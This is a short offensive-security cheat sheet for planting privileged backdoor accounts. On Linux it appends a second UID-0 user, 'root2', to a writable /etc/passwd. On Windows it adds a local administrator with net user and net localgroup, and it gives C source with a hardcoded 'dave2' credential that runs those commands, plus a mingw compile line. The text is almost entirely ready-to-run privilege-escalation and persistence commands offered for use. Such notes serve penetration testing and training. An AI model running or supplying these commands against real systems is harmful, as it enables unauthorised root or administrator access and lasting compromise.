User Creation

Linux

NOTE: Works only if got writable permission to /etc/passwd

1

Create hashed password

openssl passwd "<Password>"

2

Add user into /etc/passwd

echo "root2:<Hashed Password>:0:0:root:/root:/bin/bash" >> /etc/passwd

Windows

NOTE: Requires Administrative permissions

Manual

1

Add user to user list

net user <Username> <Password> /add

2

Add user to Administrator group

net localgroup administrators <Username> /add

Script

1

Generate a script to create a user and assign user into administrator group

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  
  return 0;
}

2

Compile

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe